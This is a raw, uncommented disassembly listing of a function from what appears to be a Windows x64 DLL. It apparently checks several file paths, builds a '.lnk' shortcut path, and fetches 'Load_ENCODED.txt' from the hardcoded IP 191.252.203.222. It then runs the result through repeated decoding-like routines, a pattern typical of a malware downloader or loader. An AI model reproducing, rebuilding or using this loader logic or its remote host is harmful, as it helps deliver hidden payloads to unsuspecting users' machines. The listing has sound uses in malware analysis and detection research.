call fcn.180005080
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x270]
call fcn.18000a9c0
mov rdi, rax
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x210]
call fcn.180005360
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.180005530
nop
lea rcx, [rsp + 0x210]
call fcn.180005080
nop
lea rcx, [rsp + 0x270]
call fcn.180005080
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x60]
call fcn.18000a9c0
mov rdi, rax
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xa0]
call fcn.180005360
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x390]
call fcn.180005530
nop
lea rcx, [rsp + 0xa0]
call fcn.180005080
nop
lea rcx, [rsp + 0x60]
call fcn.180005080
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x270]
call fcn.18000a9c0
mov rdi, rax
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x210]
call fcn.180005360
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.180005530
nop
lea rcx, [rsp + 0x210]
call fcn.180005080
nop
lea rcx, [rsp + 0x270]
call fcn.180005080
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x60]
call fcn.18000a9c0
mov rdi, rax
lea r8, [rsp + 0x2b0]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xa0]
call fcn.180005360
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x4e0]
call fcn.180005530
nop
lea rcx, [rsp + 0xa0]
call fcn.180005080
nop
lea rcx, [rsp + 0x60]
call fcn.180005080
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x2d0]
call fcn.180004f70
lea rdx, [0x1800503f8]
lea rcx, [rsp + 0x7c0]
call fcn.180004f70
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003ad7
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003ad7
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003ad7
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003ad7
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003ad7
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003ad7
lea rcx, [rsp + 0x440]
call fcn.180004dd0
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.180005170
nop
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x440]
call fcn.18000b0b0
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rcx, [rsp + 0x458]
call fcn.180004dd0
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.180005170
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x458]
call fcn.18000b0b0
nop
lea rcx, [rsp + 0x290]
call fcn.180005080
lea rcx, [rsp + 0x428]
call fcn.180004dd0
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.180005170
nop
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x428]
call fcn.18000b0b0
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rcx, [rsp + 0x470]
call fcn.180004dd0
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.180005170
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x470]
call fcn.18000b0b0
nop
lea rcx, [rsp + 0x290]
call fcn.180005080
lea rcx, [rsp + 0x488]
call fcn.180004dd0
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.180005170
nop
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x488]
call fcn.18000b0b0
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rcx, [rsp + 0x410]
call fcn.180004dd0
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180005170
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x410]
call fcn.18000b0b0
nop
lea rcx, [rsp + 0x80]
call fcn.180005080
mov rax, qword [rsp + 0x448]
cmp qword [rsp + 0x440], rax
je 0x180003a83
mov rax, qword [rsp + 0x460]
cmp qword [rsp + 0x458], rax
je 0x180003a83
mov rax, qword [rsp + 0x430]
cmp qword [rsp + 0x428], rax
je 0x180003a83
mov rax, qword [rsp + 0x478]
cmp qword [rsp + 0x470], rax
je 0x180003a83
mov rax, qword [rsp + 0x490]
cmp qword [rsp + 0x488], rax
je 0x180003a83
mov rax, qword [rsp + 0x418]
cmp qword [rsp + 0x410], rax
je 0x180003a83
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x330]
call fcn.180004ff0
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x4a0]
call fcn.18000b5b0
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x4a0]
call fcn.18000b5b0
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x4a0]
call fcn.18000b5b0
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x4a0]
call fcn.18000b5b0
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x4a0]
call fcn.18000b5b0
lea rdx, [rsp + 0x4e0]
lea rcx, [rsp + 0x4a0]
call fcn.18000b5b0
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
jne 0x180003a83
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
jne 0x180003a83
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
jne 0x180003a83
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
jne 0x180003a83
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
jne 0x180003a83
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
jne 0x180003a83
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180005170
nop
or ebx, 1
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0xa0]
call fcn.18000b490
test al, al
je 0x180002f75
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x270]
call fcn.180005170
nop
or ebx, 2
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x270]
call fcn.18000b490
test al, al
je 0x180002f75
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
or ebx, 4
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0x60]
call fcn.18000b490
test al, al
je 0x180002f75
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.180005170
nop
or ebx, 8
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x40]
call fcn.18000b490
test al, al
je 0x180002f75
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.180005170
nop
or ebx, 0x10
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x488]
lea rcx, [rsp + 0x290]
call fcn.18000b490
test al, al
je 0x180002f75
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.180005170
nop
or ebx, 0x20
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x230]
call fcn.18000b490
test al, al
je 0x180002f75
mov dil, 1
jmp 0x180002f78
xor dil, dil
test bl, 0x20
je 0x180002f8e
and ebx, 0xffffffdf
lea rcx, [rsp + 0x230]
call fcn.180005080
nop
test bl, 0x10
je 0x180002fa4
and ebx, 0xffffffef
lea rcx, [rsp + 0x290]
call fcn.180005080
nop
test bl, 8
je 0x180002fb7
and ebx, 0xfffffff7
lea rcx, [rsp + 0x40]
call fcn.180005080
nop
test bl, 4
je 0x180002fca
and ebx, 0xfffffffb
lea rcx, [rsp + 0x60]
call fcn.180005080
nop
test bl, 2
je 0x180002fe0
and ebx, 0xfffffffd
lea rcx, [rsp + 0x270]
call fcn.180005080
nop
test bl, 1
je 0x180002ff5
and ebx, 0xfffffffe
lea rcx, [rsp + 0xa0]
call fcn.180005080
test dil, dil
je 0x180003a83
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x440]
call fcn.180004e10
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x458]
call fcn.180004e10
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x428]
call fcn.180004e10
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x470]
call fcn.180004e10
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x488]
call fcn.180004e10
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x410]
call fcn.180004e10
lea rcx, [rsp + 0x3f0]
call fcn.180007d70
test al, al
je 0x180003a83
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180005170
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x230]
call fcn.18000e310
mov rdi, rax
lea r8, [0x180050508]
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x60]
call fcn.180005550
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x270]
call fcn.180005530
nop
lea r8, str..lnk
mov rdx, rax
lea rcx, [rsp + 0x210]
call fcn.1800056c0
mov rdx, rax
lea rcx, [rsp + 0x3f0]
call fcn.1800050e0
lea rcx, [rsp + 0x210]
call fcn.180005080
nop
lea rcx, [rsp + 0x270]
call fcn.180005080
nop
lea rcx, [rsp + 0x60]
call fcn.180005080
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
nop
lea rcx, [rsp + 0xa0]
call fcn.180005080
lea rcx, [rsp + 0x3f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x270]
call fcn.180005170
nop
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180005170
nop
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0xa0]
call fcn.18000c9a0
movzx edi, al
lea rcx, [rsp + 0xa0]
call fcn.180005080
nop
lea rcx, [rsp + 0x270]
call fcn.180005080
test dil, dil
je 0x180003a83
lea rcx, [rsp + 0x3f0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rcx, rax
call fcn.180007830
test al, al
je 0x180003a83
lea rcx, [rsp + 0x500]
call fcn.180004f40
mov rdx, rax
mov r8, qword [rsp + 0x30]
lea rcx, str.http:__191.252.203.222_Load_ENCODED.txt
call fcn.180006eb0
cmp eax, 1
jne 0x180003a83
lea rcx, [rsp + 0x500]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180005170
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x290]
call fcn.18000b860
nop
lea rcx, [rsp + 0xa0]
call fcn.180005080
cmp qword [rsp + 0x2a0], 0
je 0x180003a75
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.180008170
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.1800050e0
lea rcx, [rsp + 0x210]
call fcn.180005080
cmp qword [rsp + 0x2a0], 0
je 0x180003a75
lea r8, [rsp + 0x740]
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800091c0
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.1800050e0
lea rcx, [rsp + 0x210]
call fcn.180005080
cmp qword [rsp + 0x2a0], 0
je 0x180003a75
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.18000bfa0
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.1800050e0
lea rcx, [rsp + 0x210]
call fcn.180005080
cmp qword [rsp + 0x2a0], 0
je 0x180003a75
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.180008170
mov rdx, rax
lea rcx, [rsp + 0x290]
call fcn.1800050e0
lea rcx, [rsp + 0x210]
call fcn.180005080
cmp qword [rsp + 0x2a0], 0
je 0x180003a75
lea rax, [rsp + 0x210]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov rsi, rax
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0x270]
call fcn.1800051b0
mov rdi, rax
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x60]
call fcn.1800051b0
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.18000c490
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18000bb10
mov rdx, rax
lea rcx, [rsp + 0x440]
call fcn.180004ea0
lea rcx, [rsp + 0x40]
call fcn.180004e40
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rax, [rsp + 0x210]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov rsi, rax
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x270]
call fcn.1800051b0
mov rdi, rax
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x60]
call fcn.1800051b0
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.18000c490
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18000bb10
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.180004ea0
lea rcx, [rsp + 0x40]
call fcn.180004e40
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rax, [rsp + 0x210]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov rsi, rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x270]
call fcn.1800051b0
mov rdi, rax
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x60]
call fcn.1800051b0
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.18000c490
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18000bb10
mov rdx, rax
lea rcx, [rsp + 0x428]
call fcn.180004ea0
lea rcx, [rsp + 0x40]
call fcn.180004e40
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rax, [rsp + 0x210]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov rsi, rax
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0x270]
call fcn.1800051b0
mov rdi, rax
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x60]
call fcn.1800051b0
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.18000c490
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18000bb10
mov rdx, rax
lea rcx, [rsp + 0x470]
call fcn.180004ea0
lea rcx, [rsp + 0x40]
call fcn.180004e40
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rax, [rsp + 0x210]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov rsi, rax
lea rdx, [rsp + 0x640]
lea rcx, [rsp + 0x270]
call fcn.1800051b0
mov rdi, rax
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x60]
call fcn.1800051b0
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.18000c490
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18000bb10
mov rdx, rax
lea rcx, [rsp + 0x488]
call fcn.180004ea0
lea rcx, [rsp + 0x40]
call fcn.180004e40
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rax, [rsp + 0x210]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x210]
call fcn.1800051b0
mov rsi, rax
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x270]
call fcn.1800051b0
mov rdi, rax
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x60]
call fcn.1800051b0
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.18000c490
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.18000bb10
mov rdx, rax
lea rcx, [rsp + 0x410]
call fcn.180004ea0
lea rcx, [rsp + 0x40]
call fcn.180004e40
nop
lea rcx, [rsp + 0x230]
call fcn.180005080
lea rcx, [rsp + 0x2f0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x210]
call fcn.180005170
nop
or ebx, 0x40
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x210]
call fcn.18000b490
test al, al
je 0x1800039e7
lea rcx, [rsp + 0x330]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180005170
nop
bts ebx, 7
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x80]
call fcn.18000b490
test al, al
je 0x1800039e7
lea rcx, [rsp + 0x250]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.180005170
nop
bts ebx, 8
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0x40]
call fcn.18000b490
test al, al
je 0x1800039e7
lea rcx, [rsp + 0x390]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.180005170
nop
bts ebx, 9
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x230]
call fcn.18000b490
test al, al
je 0x1800039e7
lea rcx, [rsp + 0x370]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180005170
nop
bts ebx, 0xa
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x488]
lea rcx, [rsp + 0x60]
call fcn.18000b490
test al, al
je 0x1800039e7
lea rcx, [rsp + 0x4e0]
call fcn.180004f40
mov rdx, rax
lea rcx, [rsp + 0x270]
call fcn.180005170
nop
bts ebx, 0xb
mov dword [rsp + 0x1e8], ebx
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x270]
call fcn.18000b490
test al, al
je 0x1800039e7
mov dil, 1
jmp 0x1800039ea
xor dil, dil
bt ebx, 0xb
jae 0x180003a02
btr ebx, 0xb
lea rcx, [rsp + 0x270]
call fcn.180005080
nop
bt ebx, 0xa
jae 0x180003a17
btr ebx, 0xa
lea rcx, [rsp + 0x60]
call fcn.180005080
nop
bt ebx, 9
jae 0x180003a2f
btr ebx, 9
lea rcx, [rsp + 0x230]
call fcn.180005080
nop
bt ebx, 8
jae 0x180003a44
btr ebx, 8
lea rcx, [rsp + 0x40]
call fcn.180005080
nop
test bl, bl
jns 0x180003a5a
btr ebx, 7
lea rcx, [rsp + 0x80]
call fcn.180005080
nop
test bl, 0x40
je 0x180003a6c
lea rcx, [rsp + 0x210]
call fcn.180005080
test dil, dil
jne 0x1800044e1
lea rcx, [rsp + 0x290]
call fcn.180005080
nop
lea rcx, [rsp + 0x410]
call fcn.180004e40
nop
lea rcx, [rsp + 0x488]
call fcn.180004e40
nop
lea rcx, [rsp + 0x470]
call fcn.180004e40
nop
lea rcx, [rsp + 0x428]
call fcn.180004e40
nop
lea rcx, [rsp + 0x458]
call fcn.180004e40
nop
lea rcx, [rsp + 0x440]
call fcn.180004e40
nop
lea rcx, [rsp + 0x4e0]
call fcn.180005080
nop
lea rcx, [rsp + 0x370]
call fcn.180005080
nop
lea rcx, [rsp + 0x390]
call fcn.180005080
nop
lea rcx, [rsp + 0x250]
call fcn.180005080
nop
lea rcx, [rsp + 0x330]
call fcn.180005080
nop
lea rcx, [rsp + 0x2f0]
call fcn.180005080
nop
lea rcx, [rsp + 0x7c0]
call fcn.180005080
nop
lea rcx, [rsp + 0x2d0]
call fcn.180005080
nop
lea rcx, [rsp + 0x1f0]
call fcn.180005080
mov rbx, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0x10
jb 0x180003b9f
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d17
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x4b0], xmm0
mov byte [rsp + 0x4a0], 0
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x180003bfb
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003bf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d1d
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x320], xmm0
mov byte [rsp + 0x310], 0
mov rax, qword [rsp + 0x368]
cmp rax, 0x10
jb 0x180003c59
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d23
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x538]
cmp rdx, 0x10
jb 0x180003c9c
inc rdx
mov rcx, qword [rsp + 0x520]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d29
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x530], xmm0
mov byte [rsp + 0x520], 0
mov rdx, qword [rsp + 0x518]
cmp rdx, 0x10
jb 0x180003cf8
inc rdx
mov rcx, qword [rsp + 0x500]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003cf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d2f
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x510], xmm0
mov byte [rsp + 0x500], 0
mov rdx, qword [rsp + 0x3e8]
cmp rdx, 0x10
jb 0x180003d54
inc rdx
mov rcx, qword [rsp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003d4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d35
call fcn.18001cdac
mov qword [rsp + 0x3e0], 0
mov qword [rsp + 0x3e8], 0xf
mov byte [rsp + 0x3d0], 0
mov rdx, qword [rsp + 0x3c8]
cmp rdx, 0x10
jb 0x180003db8
inc rdx
mov rcx, qword [rsp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003db2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d3b
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x408]
cmp rdx, 0x10
jb 0x180003dfb
inc rdx
mov rcx, qword [rsp + 0x3f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003df6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d41
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x400], xmm0
mov byte [rsp + 0x3f0], 0
mov rdx, qword [rsp + 0x4d8]
cmp rdx, 0x10
jb 0x180003e57
inc rdx
mov rcx, qword [rsp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d47
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x4d0], xmm0
mov byte [rsp + 0x4c0], 0
mov rdx, qword [rsp + 0x558]
cmp rdx, 0x10
jb 0x180003eb3
inc rdx
mov rcx, qword [rsp + 0x540]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003eae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d4d
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
movdqu xmmword [rsp + 0x550], xmm0
mov byte [rsp + 0x540], 0
mov rax, qword [rsp + 0x2c8]
cmp rax, 0x10
jb 0x180003f0c
lea rdx, [rax + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180003f03
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d53
mov rcx, rbx
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x7b8]
cmp rdx, 0x10
jb 0x180003f50
inc rdx
mov rcx, qword [rsp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d59
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x798]
cmp rdx, 0x10
jb 0x180003f94
inc rdx
mov rcx, qword [rsp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d5f
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x778]
cmp rdx, 0x10
jb 0x180003fd8
inc rdx
mov rcx, qword [rsp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d65
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x758]
cmp rdx, 0x10
jb 0x18000401c
inc rdx
mov rcx, qword [rsp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004016
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d6b
call fcn.18001cdac
nop
mov rdx, qword [rsp + 0x578]
cmp rdx, 0x10
jb 0x18000405f
inc rdx
mov rcx, qword [rsp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000405a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004d71
call fcn.18001cdac
movdqa xmm0, xmmword [0x180050d90]
